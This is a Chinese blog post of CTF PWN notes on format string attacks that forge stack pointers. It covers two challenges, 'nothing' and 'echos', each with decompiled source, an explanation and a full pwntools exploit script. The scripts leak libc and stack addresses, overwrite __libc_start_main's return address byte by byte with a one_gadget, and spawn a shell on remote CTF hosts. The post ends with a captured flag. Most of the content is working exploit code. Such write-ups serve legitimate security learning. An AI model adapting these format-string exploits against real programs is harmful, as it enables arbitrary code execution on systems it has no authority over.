【PWN笔记】格式化字符串伪造栈

格式化字符串伪造栈

思路

更改__libc_start_main地址为one_gadget,执行one_gadget

例子:

伪造栈1_修改栈

链接

nothing

Description:

保护:

Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX disabled
PIE:      No PIE (0x400000)
RWX:      Has RWX segments

源码:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char format; // [rsp+0h] [rbp-100h]

  init_proc();
  puts(
    "Hello CTF Players!\n"
    "This is a warmup challenge for pwnable.\n"
    "Do you know about Format String Attack(FSA) and write the exploit code?\n"
    "Please pwn me!");
  while ( 1 )
  {
    printf("> ", argv);
    argv = (const char **)256;
    read_string(&format, 0x100uLL);
    if ( format == 'q' )
      break;
    printf(&format, 256LL);
  }
  return 0;
}

无限循环,无保护,直接修改libcsm位one_gadget即可

%p 打印栈上的地址

%n 修改栈上地址里的内容(修改连续俩箭头的最后一个) hhn改俩字节 hn改四字节 h改8字节

通过dac8的偏移%p打印出libc+231的地址,减去231,泄露出libcsm地址,easylibc找到libc版本,one_gadget出addr_one的偏移,算出addr_one地址

addr_one = 0x7f02b155c226 #需要改六位libcsm地址

通过dad8的偏移%p打印出dba8的地址 减去偏移 算出 dac8的地址addr_stack

通过dad8的偏移%n将f35e的地址修改为dac8

此时用dba8的偏移就可更改到libcsm的地址 ,将libcsm改为one_gadget,程序退出时就会运行one_gadget(libsm)

此时需要取addr_one的后2位addr_one&0xff,修改

pd = '%' + str(addr_one & 0xff) + 'c%67$hhn\x00'

dac8修改成伪造栈addr_stack+1

修改libcsm的倒数三四两位

pd = '%' + str(addr_stack + 1) + 'c%41$hhn\x00'
p.sendafter('> ', pd)
pd = '%' + str(addr_one >> 8 & 0xff) + 'c%67$hhn\x00'
p.sendafter('> ', pd)

依次改完最后6位

Solution:

exp:

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
from easyLibc import *

debug = 2
context(arch='amd64', endian='el', os='linux')
context.log_level = 'debug'
if debug == 1:
    p = process(['./chall'])
    one = [0x4f365, 0x4f3c2, 0x10a45c]  #one_gadget找到的偏移
else:
    p = remote('pwn02.chal.ctf.westerns.tokyo', 18247)
    one = [0x4f365, 0x4f3c2, 0x10a45c]
elf = ELF('./chall', checksec=False)

p.sendafter('> ', '%39$p')
p.recvuntil('0x')

addr_libcsm = int(p.recv(12), 16) - 231
libc = easyLibc('__libc_start_main', addr_libcsm)
libcbase = addr_libcsm - libc.dump('__libc_start_main')
#泄露libcsm地址,用easylibc找到libc版本
# libc6_2.27-3ubuntu1_amd64.so
addr_one = libcbase + one[0]    #one_gadget的地址

p.sendafter('> ', '%41$p')
p.recvuntil('0x')
addr_stack = int(p.recv(12), 16) - 0xe0
addr_stack &= 0xffff    #位运算取后addr_stack四位

#libcsm与one_gadget差六位
#伪造栈 两位两位修改libcsm
pd = '%' + str(addr_stack) + 'c%41$hn\x00'
p.sendafter('> ', pd)
pd = '%' + str(addr_one & 0xff) + 'c%67$hhn\x00'
p.sendafter('> ', pd)

pd = '%' + str(addr_stack + 1) + 'c%41$hhn\x00'
p.sendafter('> ', pd)
pd = '%' + str(addr_one >> 8 & 0xff) + 'c%67$hhn\x00'
#位移运算,去掉addr_one最后两位,取三四位
p.sendafter('> ', pd)

pd = '%' + str(addr_stack + 2) + 'c%41$hhn\x00'
p.sendafter('> ', pd)
pd = '%' + str(addr_one >> 16 & 0xff) + 'c%67$hhn\x00'
p.sendafter('> ', pd)

p.sendafter('> ', 'quit')#结束程序 执行libcsm(addr_one)
success('addr_stack = ' + hex(addr_stack))
success('libcbase   = ' + hex(libcbase))
p.interactive()

伪造栈2_手写栈

链接

echos

Description:

保护:

Arch:     amd64-64-little
RELRO:    Full RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      PIE enabled

源码:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  signed int i; // [rsp+Ch] [rbp-54h]
  char s; // [rsp+10h] [rbp-50h]
  unsigned __int64 v6; // [rsp+58h] [rbp-8h]

  v6 = __readfsqword(0x28u);
  for ( i = 0; i <= 2; ++i )
  {
    fgets(&s, 64, stdin);
    printf(&s, 64LL);
  }
  return 0;
}

只能循环三次,反复修改栈的可能性不大,只能手写个伪造栈

泄露栈

p.sendline('%21$p')
addr_stack = int(p.recv(14), 16) - 0xe0

泄露libcsm地址 修改栈地址,手写伪造栈

pd = '%19$p.tmp'
pd += '%' + str((addr_stack & 0xffff) - 0x12) + 'c%21$hnaa'#aa为了对齐栈
pd += 'a'*0x10 #防止伪造栈被下次输入的数据覆盖
pd += p64(addr_stack + 1)
p.sendline(pd)

libcsm要修改四位,前两位用5e08的偏移

后两位用伪造的栈的偏移

Solution:

exp:

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
from easyLibc import *
debug = 2
context(arch='amd64', endian='el', os='linux')
context.log_level = 'debug'
if debug == 1:
    p = process('./echos')
    one = 0x4f365
else:
    p = remote('chal.duc.tf',30001)
    one = 0x4f2c5
elf = ELF('./echos', checksec=False)
#libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
got_printf = elf.got['printf']

#gdb.attach(p, 'b printf\nc')
p.sendline('%21$p')
addr_stack = int(p.recv(14), 16) - 0xe0
success('addr_stack  = ' + hex(addr_stack))

pd = '%19$p.tmp'
pd += '%' + str((addr_stack & 0xffff) - 0x12) + 'c%21$hnaa'
pd += 'a'*0x10
pd += p64(addr_stack + 1)
p.sendline(pd)

addr_libcsm = int(p.recvuntil('.tmp')[-18:-4], 16) - 231
libc = easyLibc('__libc_start_main', addr_libcsm)
#libc6_2.27-3ubuntu1_amd64
libcbase = addr_libcsm - libc.dump('__libc_start_main')
addr_one = libcbase + one
success('addr_libcsm = ' + hex(addr_libcsm))

delta = addr_one & 0xff
pd = '%' + str(delta) + 'c%47$hhn'
pd += '%' + str((addr_one >> 8 & 0xffff) - delta) + 'c%13$hn'
p.sendline(pd)
success('addr_stack  = ' + hex(addr_stack))
success('addr_libcsm = ' + hex(addr_libcsm))
p.interactive()

# DUCTF{D@N6340U$_AF_F0RMAT_STTR1NG$}
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇